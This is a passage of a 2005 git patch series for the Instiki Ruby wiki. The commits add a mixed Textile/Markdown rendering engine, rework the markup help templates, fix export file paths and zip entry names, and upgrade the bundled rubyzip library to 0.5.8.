password == (@system[:password] || 'instiki') + # system['password'] variant is for compatibility with storages from older versions + password == (@system[:password] || @system['password'] || 'instiki') end def create_web(name, address, password = nil) From b3aefba07a447774bf68ce9861030d7db45ab314 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 8 Apr 2005 05:02:48 +0000 Subject: [PATCH 221/529] Fixed rendering, added a Mixed option (Textile + Markdown), default is Textile-only --- CHANGELOG | 5 ++--- app/models/chunks/engines.rb | 10 ++++++++-- app/views/admin/edit_web.rhtml | 8 ++++---- app/views/markdown_help.rhtml | 28 ++++++++++++---------------- app/views/rdoc_help.rhtml | 28 ++++++++++++---------------- app/views/textile_help.rhtml | 30 +++++++++++++----------------- app/views/wiki/edit.rhtml | 6 +++++- 7 files changed, 56 insertions(+), 59 deletions(-) diff --git a/CHANGELOG b/CHANGELOG index 907d2779..d5c13de3 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,9 +1,8 @@ * 0.10.0: Ported to ActionPack RedCloth 3.0.3 - BlueCloth is phased out - Default markup remains Textile-only, but Markdown wikis now understand Textile - syntax on the same page + BlueCloth is phased out, Markdown is rendered by RedCloth + Mix markup option understands both Textile and Markdown on the same page Instiki can serve static content (such as HTML or plain-text files) from ./public directory Much friendlier admin interface diff --git a/app/models/chunks/engines.rb b/app/models/chunks/engines.rb index 341c6857..b5587b3f 100644 --- a/app/models/chunks/engines.rb +++ b/app/models/chunks/engines.rb @@ -27,11 +27,17 @@ module Engines class Textile < AbstractEngine def mask - RedCloth.new(@content, @content.options[:engine_opts]).to_html([:textile]) + RedCloth.new(@content, @content.options[:engine_opts]).to_html(:textile) end end class Markdown < AbstractEngine + def mask + RedCloth.new(@content, @content.options[:engine_opts]).to_html(:markdown) + end + end + + class Mixed < AbstractEngine def mask RedCloth.new(@content, @content.options[:engine_opts]).to_html end @@ -43,6 +49,6 @@ module Engines end end - MAP = { :textile => Textile, :markdown => Markdown, :rdoc => RDoc } + MAP = { :textile => Textile, :markdown => Markdown, :mixed => Mixed, :rdoc => RDoc, } MAP.default = Textile end diff --git a/app/views/admin/edit_web.rhtml b/app/views/admin/edit_web.rhtml index 99010fd6..9d8010b6 100644 --- a/app/views/admin/edit_web.rhtml +++ b/app/views/admin/edit_web.rhtml @@ -21,16 +21,16 @@
          Markup:    Color:

          diff --git a/app/views/markdown_help.rhtml b/app/views/markdown_help.rhtml index fe196d4c..067be08d 100644 --- a/app/views/markdown_help.rhtml +++ b/app/views/markdown_help.rhtml @@ -1,16 +1,12 @@ -

          -

          Markdown formatting tips (advanced)

          - - - - - - - - - - -
          _your text_your text
          **your text**your text
          `my code`my code
          * Bulleted list
          * Second item
          • Bulleted list
          • Second item
          1. Numbered list
          1. Second item
          1. Numbered list
          2. Second item
          [link name](URL)link name
          ***Horizontal ruler
          <http://url>
          <email@add.com>
          Auto-linked
          ![Alt text](URL)Image
          - - <%= render 'wiki_words_help' %> -
          \ No newline at end of file +

          Markdown formatting tips (advanced)

          + + + + + + + + + + +
          _your text_your text
          **your text**your text
          `my code`my code
          * Bulleted list
          * Second item
          • Bulleted list
          • Second item
          1. Numbered list
          1. Second item
          1. Numbered list
          2. Second item
          [link name](URL)link name
          ***Horizontal ruler
          <http://url>
          <email@add.com>
          Auto-linked
          ![Alt text](URL)Image
          diff --git a/app/views/rdoc_help.rhtml b/app/views/rdoc_help.rhtml index 5732a18d..1afaff5c 100644 --- a/app/views/rdoc_help.rhtml +++ b/app/views/rdoc_help.rhtml @@ -1,16 +1,12 @@ -
          -

          RDoc formatting tips (advanced)

          - - - - - - - - - - -
          _your text_your text
          *your text*your text
          * Bulleted list
          * Second item
          • Bulleted list
          • Second item
          1. Numbered list
          2. Second item
          1. Numbered list
          2. Second item
          +my_code+my_code
          ---Horizontal ruler
          [[URL linkname]]linkname
          http://url
          mailto:e@add.com
          Auto-linked
          imageURLImage
          - - <%= render 'wiki_words_help' %> -
          \ No newline at end of file +

          RDoc formatting tips (advanced)

          + + + + + + + + + + +
          _your text_your text
          *your text*your text
          * Bulleted list
          * Second item
          • Bulleted list
          • Second item
          1. Numbered list
          2. Second item
          1. Numbered list
          2. Second item
          +my_code+my_code
          ---Horizontal ruler
          [[URL linkname]]linkname
          http://url
          mailto:e@add.com
          Auto-linked
          imageURLImage
          diff --git a/app/views/textile_help.rhtml b/app/views/textile_help.rhtml index 86224147..e6bee9b1 100644 --- a/app/views/textile_help.rhtml +++ b/app/views/textile_help.rhtml @@ -1,20 +1,16 @@ -
          -

          Textile formatting tips (advanced)

          - - - - - - - - - - -
          _your text_your text
          *your text*your text
          %{color:red}hello%hello
          * Bulleted list
          * Second item
          • Bulleted list
          • Second item
          # Numbered list
          # Second item
          1. Numbered list
          2. Second item
          "linkname":URLlinkname
          |a|table|row|
          |b|table|row|
          Table
          http://url
          email@address.com
          Auto-linked
          !imageURL!Image
          +

          Textile formatting tips (advanced)

          + + + + + + + + + + +
          _your text_your text
          *your text*your text
          %{color:red}hello%hello
          * Bulleted list
          * Second item
          • Bulleted list
          • Second item
          # Numbered list
          # Second item
          1. Numbered list
          2. Second item
          "linkname":URLlinkname
          |a|table|row|
          |b|table|row|
          Table
          http://url
          email@address.com
          Auto-linked
          !imageURL!Image
          - <%= render 'wiki_words_help' %> -
          - \ No newline at end of file + diff --git a/app/views/wiki/edit.rhtml b/app/views/wiki/edit.rhtml index 61a221fa..6da0f858 100644 --- a/app/views/wiki/edit.rhtml +++ b/app/views/wiki/edit.rhtml @@ -6,7 +6,11 @@ <%= "

          Please correct the error that caused this error in rendering:
          #{@params["msg"]}

          " if @params["msg"] %> -<%= render("#{@web.markup}_help") if @web %> +
          + <%= render("#{@web.markup}_help") %> + <%= render 'wiki_words_help' %> +
          + <%= form_tag({ :action => 'save', :web => @web.address, :id => @page.name}, {'id' => 'editForm', 'method' => 'post', 'onSubmit' => 'cleanAuthorName();'}) From 76d6ea57a89a9c72bb5da9d5065d6716a7ae3b07 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 8 Apr 2005 05:20:40 +0000 Subject: [PATCH 222/529] Help template for mixed markup --- app/views/mixed_help.rhtml | 7 +++++++ 1 file changed, 7 insertions(+) create mode 100644 app/views/mixed_help.rhtml diff --git a/app/views/mixed_help.rhtml b/app/views/mixed_help.rhtml new file mode 100644 index 00000000..58503f54 --- /dev/null +++ b/app/views/mixed_help.rhtml @@ -0,0 +1,7 @@ +<%= render 'textile_help' %> + +

          Markdown

          +

          + In addition to Textile, this wiki also understands + Markdown. +

          \ No newline at end of file From 6213e851e02cea67105433759c0ff3f4ce5ddde0 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 8 Apr 2005 05:21:08 +0000 Subject: [PATCH 223/529] Fixed link to remove_orphaned_pages --- app/views/admin/edit_web.rhtml | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/app/views/admin/edit_web.rhtml b/app/views/admin/edit_web.rhtml index 9d8010b6..621c8f24 100644 --- a/app/views/admin/edit_web.rhtml +++ b/app/views/admin/edit_web.rhtml @@ -118,7 +118,9 @@ TODO Enable these input elements again after release 0.10

          Other administrative tasks

          -
          'admin', :web => @web.address, :action => 'remove_orphaned_pages'}, + {:id => 'remove_orphaned_pages'}) +%> onSubmit="return checkSystemPassword(document.getElementById('system_password_orphaned').value)">

          @@ -128,7 +130,7 @@ TODO Enable these input elements again after release 0.10

          -
          +<%= end_form_tag %> From e3a48c2732eec37243a370f34ca907f9ff92cd34 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 8 Apr 2005 05:29:20 +0000 Subject: [PATCH 224/529] Corrected some export file names (to have a slash between directory and file name) --- app/controllers/wiki_controller.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 33ac665a..4b8e8e2f 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -59,7 +59,7 @@ class WikiController < ApplicationController def export_pdf file_name = "#{@web.address}-tex-#{@web.revised_on.strftime('%Y-%m-%d-%H-%M-%S')}" - file_path = @wiki.storage_path + file_name + file_path = File.join(@wiki.storage_path, file_name) export_web_to_tex "#{file_path}.tex" unless FileTest.exists? "#{file_path}.tex" convert_tex_to_pdf "#{file_path}.tex" @@ -142,7 +142,7 @@ class WikiController < ApplicationController page = wiki.read_page(@web_name, @page_name) safe_page_name = @page.name.gsub(/\W/, '') file_name = "#{safe_page_name}-#{@web.address}-#{@page.created_at.strftime('%Y-%m-%d-%H-%M-%S')}" - file_path = @wiki.storage_path + file_name + file_path = File.join(@wiki.storage_path, file_name) export_page_to_tex("#{file_path}.tex") unless FileTest.exists?("#{file_path}.tex") # NB: this is _very_ slow @@ -249,7 +249,7 @@ class WikiController < ApplicationController file_prefix = "#{@web.address}-#{file_type}-" timestamp = @web.revised_on.strftime('%Y-%m-%d-%H-%M-%S') - file_path = @wiki.storage_path + file_prefix + timestamp + '.zip' + file_path = File.join(@wiki.storage_path, file_prefix + timestamp + '.zip') tmp_path = "#{file_path}.tmp" Zip::ZipOutputStream.open(tmp_path) do |zip_out| @@ -269,7 +269,7 @@ class WikiController < ApplicationController EOL end end - FileUtils.rm_rf(Dir[@wiki.storage_path + file_prefix + '*.zip']) + FileUtils.rm_rf(Dir[File.join(@wiki.storage_path, file_prefix + '*.zip')]) FileUtils.mv(tmp_path, file_path) send_file file_path end From 7152a7847696074fe812028df50a88f29f3f823f Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 8 Apr 2005 05:40:11 +0000 Subject: [PATCH 225/529] Synchronized file names with their hyperlink paths in export files --- app/controllers/wiki_controller.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 4b8e8e2f..12f12d02 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -254,7 +254,7 @@ class WikiController < ApplicationController Zip::ZipOutputStream.open(tmp_path) do |zip_out| @web.select.by_name.each do |page| - zip_out.put_next_entry("#{page.name}.#{file_type}") + zip_out.put_next_entry("#{CGI.escape(page.name)}.#{file_type}") zip_out.puts(block.call(page)) end # add an index file, if exporting to HTML From 37e1e6be0e46b589de4e91791c400f15c118726c Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 8 Apr 2005 06:16:22 +0000 Subject: [PATCH 226/529] Corrected position of markup help in new.rhtml (it really should be the same template as edit.rhtml) --- app/views/wiki/edit.rhtml | 1 - app/views/wiki/new.rhtml | 5 ++++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/app/views/wiki/edit.rhtml b/app/views/wiki/edit.rhtml index 6da0f858..13753b0f 100644 --- a/app/views/wiki/edit.rhtml +++ b/app/views/wiki/edit.rhtml @@ -11,7 +11,6 @@ <%= render 'wiki_words_help' %>
          - <%= form_tag({ :action => 'save', :web => @web.address, :id => @page.name}, {'id' => 'editForm', 'method' => 'post', 'onSubmit' => 'cleanAuthorName();'}) %> diff --git a/app/views/wiki/new.rhtml b/app/views/wiki/new.rhtml index e0fa0c2b..404b793b 100644 --- a/app/views/wiki/new.rhtml +++ b/app/views/wiki/new.rhtml @@ -4,7 +4,10 @@ @hide_navigation = true %> -<%= render("#{@web.markup}_help") if @web %> +
          + <%= render("#{@web.markup}_help") %> + <%= render 'wiki_words_help' %> +
          <%= form_tag({ :action => 'save', :web => @web.address, :id => @page_name}, {'id' => 'editForm', 'method' => 'post', 'onSubmit' => 'cleanAuthorName();'}) From 7b477161069908ffd599a69b556c28966d7eddde Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 8 Apr 2005 06:25:56 +0000 Subject: [PATCH 227/529] Corrected a typo in CHANGELOG --- CHANGELOG | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG b/CHANGELOG index d5c13de3..e8f94e1f 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -10,7 +10,7 @@ "textile link":LinkToSomePlace will not look insane. RSS feeds accept query parameters, sush as http://localhost:2500/wiki/rss_with_headlines?start=2005-02-18&end=2005-02-19&limit=10 - RSS feed wiuth page contents for a password-protected web behaves as follows: + RSS feed with page contents for a password-protected web behaves as follows: if the web is published, RSS feed links to the published version of the web otherwise, the feed is not available Madeleine will check every hour if there are new commands in the log or 24 hours have From ab60287bad1c3a4a1a8a87ea6a9d6067658b86cc Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 9 Apr 2005 02:49:29 +0000 Subject: [PATCH 228/529] Working stats task in Rakefile --- rakefile.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/rakefile.rb b/rakefile.rb index cdeeb542..c45812db 100755 --- a/rakefile.rb +++ b/rakefile.rb @@ -100,11 +100,10 @@ task :stats => [ :environment ] do CodeStatistics.new( ['Helpers', 'app/helpers'], ['Controllers', 'app/controllers'], - ['APIs', 'app/apis'], - ['Components', 'components'], ['Functionals', 'test/functional'], ['Models', 'app/models'], - ['Units', 'test/unit'] + ['Units', 'test/unit'], + ['Miscellaneous (lib)', 'lib'] ).to_s end From b9ec3ee4b2d690b8fee2b7f0ebae96fe72a4769f Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 9 Apr 2005 02:49:55 +0000 Subject: [PATCH 229/529] Line breaks cause
          in Textile again --- app/models/chunks/engines.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/app/models/chunks/engines.rb b/app/models/chunks/engines.rb index b5587b3f..8e9e08ce 100644 --- a/app/models/chunks/engines.rb +++ b/app/models/chunks/engines.rb @@ -27,7 +27,7 @@ module Engines class Textile < AbstractEngine def mask - RedCloth.new(@content, @content.options[:engine_opts]).to_html(:textile) + RedCloth.new(@content, [:hard_breaks] + @content.options[:engine_opts]).to_html(:textile) end end @@ -39,7 +39,7 @@ module Engines class Mixed < AbstractEngine def mask - RedCloth.new(@content, @content.options[:engine_opts]).to_html + RedCloth.new(@content, [:hard_breaks] + @content.options[:engine_opts]).to_html end end From afb14c10119a184a097d8b3cb37153230e2a6e77 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 9 Apr 2005 03:05:37 +0000 Subject: [PATCH 230/529] Some JavaScript was showing on edit_web (ticket:117) --- app/views/admin/edit_web.rhtml | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/app/views/admin/edit_web.rhtml b/app/views/admin/edit_web.rhtml index 621c8f24..d50bde43 100644 --- a/app/views/admin/edit_web.rhtml +++ b/app/views/admin/edit_web.rhtml @@ -119,9 +119,10 @@ TODO Enable these input elements again after release 0.10

          Other administrative tasks

          <%= form_tag({:controller => 'admin', :web => @web.address, :action => 'remove_orphaned_pages'}, - {:id => 'remove_orphaned_pages'}) + {:id => 'remove_orphaned_pages', + :onSubmit => "return checkSystemPassword(document.getElementById('system_password_orphaned').value)" + }) %> - onSubmit="return checkSystemPassword(document.getElementById('system_password_orphaned').value)">

          Clean up by entering system password From 9d3a3b2b8c1a5672837903df3cd2c26a9944e2a4 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 9 Apr 2005 03:49:55 +0000 Subject: [PATCH 231/529] textarea in wiki/edit.rhtml is HTML-escaped --- app/views/wiki/edit.rhtml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/views/wiki/edit.rhtml b/app/views/wiki/edit.rhtml index 13753b0f..8d0b48bc 100644 --- a/app/views/wiki/edit.rhtml +++ b/app/views/wiki/edit.rhtml @@ -16,7 +16,7 @@ %>

          - +

          as From 363276e436aa5c272d6c1ea5dfb78898a37e9aeb Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 10 Apr 2005 03:11:37 +0000 Subject: [PATCH 232/529] Uncommented one test, and updated the other (after the hard breaks requirement) --- test/unit/revision_test.rb | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/test/unit/revision_test.rb b/test/unit/revision_test.rb index 6603677f..c939ad65 100755 --- a/test/unit/revision_test.rb +++ b/test/unit/revision_test.rb @@ -189,7 +189,7 @@ class RevisionTest < Test::Unit::TestCase @revision.clear_display_cache @revision.content = "f\r\nVersionHistory\r\n\r\ncry VersionHistory" - assert_equal "

          f\nVersion History" + + assert_equal "

          f
          Version History" + "?

          \n\n\n\t

          cry " + "Version History?" + "

          ", @@ -254,15 +254,14 @@ class RevisionTest < Test::Unit::TestCase # TODO Remove the leading underscores from this test when upgrading to RedCloth 3.0.1; # also add a test for the "Unhappy Face" problem (another interesting RedCloth bug) - def __test_list_with_tildas + def test_list_with_tildas list_with_tildas = <<-EOL * "a":~b * c~ d EOL assert_markup_parsed_as( - "
        2. a
        3. \n" + - "
        4. c~ d
        5. \n", + "
            \n\t
          • a
          • \n\t\t
          • c~ d
          • \n\t
          ", list_with_tildas) end From ee876a2907828297c437a2fee15fe0b41897d86b Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 10 Apr 2005 03:18:10 +0000 Subject: [PATCH 233/529] Added some Textile rules to markdown option, in an attempt to force RedCloth to _really_ render Markdown --- app/models/chunks/engines.rb | 2 +- test/unit/revision_test.rb | 20 ++++++++++++++++++++ 2 files changed, 21 insertions(+), 1 deletion(-) diff --git a/app/models/chunks/engines.rb b/app/models/chunks/engines.rb index 8e9e08ce..6378f843 100644 --- a/app/models/chunks/engines.rb +++ b/app/models/chunks/engines.rb @@ -33,7 +33,7 @@ module Engines class Markdown < AbstractEngine def mask - RedCloth.new(@content, @content.options[:engine_opts]).to_html(:markdown) + RedCloth.new(@content, @content.options[:engine_opts]).to_html(:block_textile_lists, :inline_textile_span, :markdown) end end diff --git a/test/unit/revision_test.rb b/test/unit/revision_test.rb index c939ad65..f8cd3cad 100755 --- a/test/unit/revision_test.rb +++ b/test/unit/revision_test.rb @@ -71,6 +71,26 @@ class RevisionTest < Test::Unit::TestCase %{

          This is a code block:

          \n\n\n\t
          def a_method(arg)\n} +
           	    %{return ThatWay
          \n\n\n\t

          Nice!

          }, code_block) + + textile_and_markdown = [ + 'Markdown heading', + '================', + '', + 'h2. Textile heading', + '', + '*some* **text** _with_ -styles-', + '', + '* list 1', + '* list 2' + ].join("\n") + + assert_markup_parsed_as( + "

          Markdown heading

          \n\n\n\t" + + "

          h2. Textile heading

          \n\n\n\t" + + "

          some text with styles

          \n\n\n\t" + + "
            \n\t
          • list 1
          • \n\t\t
          • list 2
          • \n\t
          ", + textile_and_markdown) + end def test_rdoc From f776807dff1f2d566ec3e777c79f7d67bd367793 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 10 Apr 2005 16:55:44 +0000 Subject: [PATCH 234/529] Upgraded rubyzip to 0.5.8 --- CHANGELOG | 6 + config/environment.rb | 2 +- instiki.gemspec | 2 +- vendor/rubyzip-0.5.6/README | 49 -- vendor/rubyzip-0.5.6/rubyzip.gemspec | 20 - .../ChangeLog | 487 ++++++++++++++-- vendor/{rubyzip-0.5.6 => rubyzip-0.5.8}/NEWS | 41 +- vendor/rubyzip-0.5.8/README | 70 +++ vendor/rubyzip-0.5.8/Rakefile | 110 ++++ vendor/{rubyzip-0.5.6 => rubyzip-0.5.8}/TODO | 5 +- .../install.rb | 7 +- .../lib}/zip/ioextras.rb | 7 +- .../lib}/zip/stdrubyext.rb | 10 +- .../lib}/zip/tempfile_bugfixed.rb | 4 +- .../lib}/zip/zip.rb | 225 +++++++- .../lib}/zip/zipfilesystem.rb | 61 +- .../lib}/zip/ziprequire.rb | 33 +- .../samples/example.rb | 2 +- .../samples/example_filesystem.rb | 2 +- .../samples/gtkRubyzip.rb | 2 +- .../samples/write_simple.rb | 4 +- .../samples/zipfind.rb | 2 +- .../test/alltests.rb | 0 .../test/data}/file1.txt | 0 .../test/data}/file1.txt.deflatedData | Bin .../test/data}/file2.txt | 0 .../test/data}/notzippedruby.rb | 0 .../test/data}/rubycode.zip | Bin .../test/data}/rubycode2.zip | Bin .../test/data}/testDirectory.bin | Bin .../test/data}/zipWithDirs.zip | Bin vendor/rubyzip-0.5.8/test/gentestfiles.rb | 155 +++++ .../test/ioextrastest.rb | 74 +-- .../test/stdrubyexttest.rb | 20 +- .../test/zipfilesystemtest.rb | 270 ++++----- .../test/ziprequiretest.rb | 16 +- .../test/ziptest.rb | 537 +++++++----------- 37 files changed, 1513 insertions(+), 710 deletions(-) delete mode 100755 vendor/rubyzip-0.5.6/README delete mode 100755 vendor/rubyzip-0.5.6/rubyzip.gemspec rename vendor/{rubyzip-0.5.6 => rubyzip-0.5.8}/ChangeLog (70%) mode change 100755 => 100644 rename vendor/{rubyzip-0.5.6 => rubyzip-0.5.8}/NEWS (80%) mode change 100755 => 100644 create mode 100644 vendor/rubyzip-0.5.8/README create mode 100644 vendor/rubyzip-0.5.8/Rakefile rename vendor/{rubyzip-0.5.6 => rubyzip-0.5.8}/TODO (75%) mode change 100755 => 100644 rename vendor/{rubyzip-0.5.6 => rubyzip-0.5.8}/install.rb (73%) mode change 100755 => 100644 rename vendor/{rubyzip-0.5.6 => rubyzip-0.5.8/lib}/zip/ioextras.rb (93%) mode change 100755 => 100644 rename vendor/{rubyzip-0.5.6 => rubyzip-0.5.8/lib}/zip/stdrubyext.rb (94%) mode change 100755 => 100644 rename vendor/{rubyzip-0.5.6 => rubyzip-0.5.8/lib}/zip/tempfile_bugfixed.rb (97%) mode change 100755 => 100644 rename vendor/{rubyzip-0.5.6 => rubyzip-0.5.8/lib}/zip/zip.rb (81%) mode change 100755 => 100644 rename vendor/{rubyzip-0.5.6 => rubyzip-0.5.8/lib}/zip/zipfilesystem.rb (84%) mode change 100755 => 100644 rename vendor/{rubyzip-0.5.6 => rubyzip-0.5.8/lib}/zip/ziprequire.rb (57%) mode change 100755 => 100644 rename vendor/{rubyzip-0.5.6 => rubyzip-0.5.8}/samples/example.rb (99%) mode change 100755 => 100644 rename vendor/{rubyzip-0.5.6 => rubyzip-0.5.8}/samples/example_filesystem.rb (98%) mode change 100755 => 100644 rename vendor/{rubyzip-0.5.6 => rubyzip-0.5.8}/samples/gtkRubyzip.rb (99%) mode change 100755 => 100644 rename vendor/{rubyzip-0.5.6 => rubyzip-0.5.8}/samples/write_simple.rb (90%) mode change 100755 => 100644 rename vendor/{rubyzip-0.5.6 => rubyzip-0.5.8}/samples/zipfind.rb (98%) mode change 100755 => 100644 rename vendor/{rubyzip-0.5.6 => rubyzip-0.5.8}/test/alltests.rb (100%) mode change 100755 => 100644 rename vendor/{rubyzip-0.5.6/test => rubyzip-0.5.8/test/data}/file1.txt (100%) mode change 100755 => 100644 rename vendor/{rubyzip-0.5.6/test => rubyzip-0.5.8/test/data}/file1.txt.deflatedData (100%) mode change 100755 => 100644 rename vendor/{rubyzip-0.5.6/test => rubyzip-0.5.8/test/data}/file2.txt (100%) mode change 100755 => 100644 rename vendor/{rubyzip-0.5.6/test => rubyzip-0.5.8/test/data}/notzippedruby.rb (100%) mode change 100755 => 100644 rename vendor/{rubyzip-0.5.6/test => rubyzip-0.5.8/test/data}/rubycode.zip (100%) mode change 100755 => 100644 rename vendor/{rubyzip-0.5.6/test => rubyzip-0.5.8/test/data}/rubycode2.zip (100%) mode change 100755 => 100644 rename vendor/{rubyzip-0.5.6/test => rubyzip-0.5.8/test/data}/testDirectory.bin (100%) mode change 100755 => 100644 rename vendor/{rubyzip-0.5.6/test => rubyzip-0.5.8/test/data}/zipWithDirs.zip (100%) mode change 100755 => 100644 create mode 100644 vendor/rubyzip-0.5.8/test/gentestfiles.rb rename vendor/{rubyzip-0.5.6 => rubyzip-0.5.8}/test/ioextrastest.rb (62%) mode change 100755 => 100644 rename vendor/{rubyzip-0.5.6 => rubyzip-0.5.8}/test/stdrubyexttest.rb (63%) mode change 100755 => 100644 rename vendor/{rubyzip-0.5.6 => rubyzip-0.5.8}/test/zipfilesystemtest.rb (65%) mode change 100755 => 100644 rename vendor/{rubyzip-0.5.6 => rubyzip-0.5.8}/test/ziprequiretest.rb (67%) mode change 100755 => 100644 rename vendor/{rubyzip-0.5.6 => rubyzip-0.5.8}/test/ziptest.rb (70%) mode change 100755 => 100644 diff --git a/CHANGELOG b/CHANGELOG index e8f94e1f..1b02e38a 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,3 +1,9 @@ + * TODO: + BlueCloth is back (RedCloth didn't do Markdown well enough to replace it). + + * SVN trunk: + Handling of line breaks in Textile is as in 0.9 (inserts
          tag). + Upgraded rubyzip to version 0.5.8 * 0.10.0: Ported to ActionPack RedCloth 3.0.3 diff --git a/config/environment.rb b/config/environment.rb index 67a7b633..fd396c95 100644 --- a/config/environment.rb +++ b/config/environment.rb @@ -38,7 +38,7 @@ unless defined? ADDITIONAL_LOAD_PATHS vendor/rails/actionwebservice/lib vendor/madeleine-0.7.1/lib vendor/RedCloth-3.0.3/lib - vendor/rubyzip-0.5.6 + vendor/rubyzip-0.5.8/lib ).map { |dir| "#{File.expand_path(File.join(RAILS_ROOT, dir))}" }.delete_if { |dir| not File.exist?(dir) } diff --git a/instiki.gemspec b/instiki.gemspec index 7ca9efb2..34e0e7fb 100755 --- a/instiki.gemspec +++ b/instiki.gemspec @@ -26,7 +26,7 @@ spec = Gem::Specification.new do |s| s.add_dependency('madeleine', '= 0.7.1') s.add_dependency('RedCloth', '= 3.0.3') - s.add_dependency('rubyzip', '= 0.5.5') + s.add_dependency('rubyzip', '= 0.5.8') s.add_dependency('rails', '= 0.11.1') s.requirements << 'none' s.require_path = 'lib' diff --git a/vendor/rubyzip-0.5.6/README b/vendor/rubyzip-0.5.6/README deleted file mode 100755 index 2160e5d7..00000000 --- a/vendor/rubyzip-0.5.6/README +++ /dev/null @@ -1,49 +0,0 @@ -= rubyzip - -rubyzip is a ruby library for reading and writing zip (pkzip format) -files, with the restriction that only uncompressed and deflated zip -entries are supported. All this library does is handling of the zip -file format. the actual compression/decompression is handled by -zlib. zlib is accessible from ruby thanks to ruby/zlib (see below) - -To run the unit tests you need to have rubyunit or test::unit -installed. - -= Install - -ruby install.rb - - -= Prerequisites - -This library requires ruby/zlib version 0.5.0 or newer. ruby/zlib is -included in most recent ruby distributions. - -* zlib http://www.gzip.org/zlib/ -* ruby-zlib: http://www.blue.sky.or.jp/atelier/ruby/ - - -= Documentation - -The samples/ directory is a good place to start to get a feel for -using the library. For details about the specific behaviour of classes -and methods refer to the test suite. Finally you can generate the rdoc -documentation or visit http://rubyzip.sourceforge.net/doc. - - -= License - -rubyzip is distributed under the same license as ruby. See -http://www.ruby-lang.org/en/LICENSE.txt - - -= Project Home - -http://rubyzip.sourceforge.net - - -= Author - -Thomas Sondergaard (thomas at thomassondergaard.com) - -extra-field support contributed by Tatsuki Sugiura (sugi at nemui.org) diff --git a/vendor/rubyzip-0.5.6/rubyzip.gemspec b/vendor/rubyzip-0.5.6/rubyzip.gemspec deleted file mode 100755 index 70c9d81e..00000000 --- a/vendor/rubyzip-0.5.6/rubyzip.gemspec +++ /dev/null @@ -1,20 +0,0 @@ -$:.unshift '../lib' -require 'rubygems' - -spec = Gem::Specification.new do |s| - s.name = 'rubyzip' - s.version = "0.5.5" - s.author = "Thomas Sondergaard" - s.email = "thomas(at)thomassondergaard.com" - s.homepage = "http://rubyzip.sourceforge.net/" - s.platform = Gem::Platform::RUBY - s.summary = "rubyzip is a ruby module for reading and writing zip files" - s.files = Dir.glob("{samples,zip,docs}/**/*").delete_if {|item| item.include?("CVS") || item.include?("rdoc")} - s.require_path = '.' - s.autorequire = 'zip/zip' -end - -if $0==__FILE__ - Gem::Builder.new(spec).build -end - diff --git a/vendor/rubyzip-0.5.6/ChangeLog b/vendor/rubyzip-0.5.8/ChangeLog old mode 100755 new mode 100644 similarity index 70% rename from vendor/rubyzip-0.5.6/ChangeLog rename to vendor/rubyzip-0.5.8/ChangeLog index e7683189..1bb67582 --- a/vendor/rubyzip-0.5.6/ChangeLog +++ b/vendor/rubyzip-0.5.8/ChangeLog @@ -1,7 +1,132 @@ +2005-03-17 18:11 thomas + + * NEWS, README, lib/zip/zip.rb: [no log message] + +2005-03-17 18:04 thomas + + * install.rb: Fixed install.rb + +2005-03-03 18:38 thomas + + * Rakefile: [no log message] + +2005-02-27 16:23 thomas + + * lib/zip/ziprequire.rb: Added documentation to ziprequire + +2005-02-27 16:17 thomas + + * README, TODO, lib/zip/ziprequire.rb: Added documentation to + ziprequire + +2005-02-27 15:02 thomas + + * Rakefile, test/ziptest.rb: [no log message] + +2005-02-19 21:30 thomas + + * lib/zip/ioextras.rb, lib/zip/stdrubyext.rb, + lib/zip/tempfile_bugfixed.rb, lib/zip/zip.rb, + lib/zip/ziprequire.rb, test/ioextrastest.rb, + test/stdrubyexttest.rb, test/zipfilesystemtest.rb, + test/ziprequiretest.rb, test/ziptest.rb: Added more rdoc and + changed the remaining tests to Test::Unit + +2005-02-19 20:28 thomas + + * lib/zip/: ioextras.rb, zip.rb: Added documentation to + ZipInputStream and ZipOutputStream + +2005-02-18 10:27 thomas + + * README: [no log message] + +2005-02-17 23:21 thomas + + * README, Rakefile: Added ppackage (publish package) task to + Rakefile + +2005-02-17 22:49 thomas + + * README, Rakefile, TODO: Added pdoc (publish doc) task to Rakefile + +2005-02-17 21:27 thomas + + * README, Rakefile, TODO, lib/zip/stdrubyext.rb, lib/zip/zip.rb, + lib/zip/zipfilesystem.rb: Added a bunch of documentation + +2005-02-17 09:47 thomas + + * test/ziptest.rb: [no log message] + +2005-02-16 20:04 thomas + + * NEWS, README, Rakefile: Improved documentation and added rdoc + task to Rakefile + 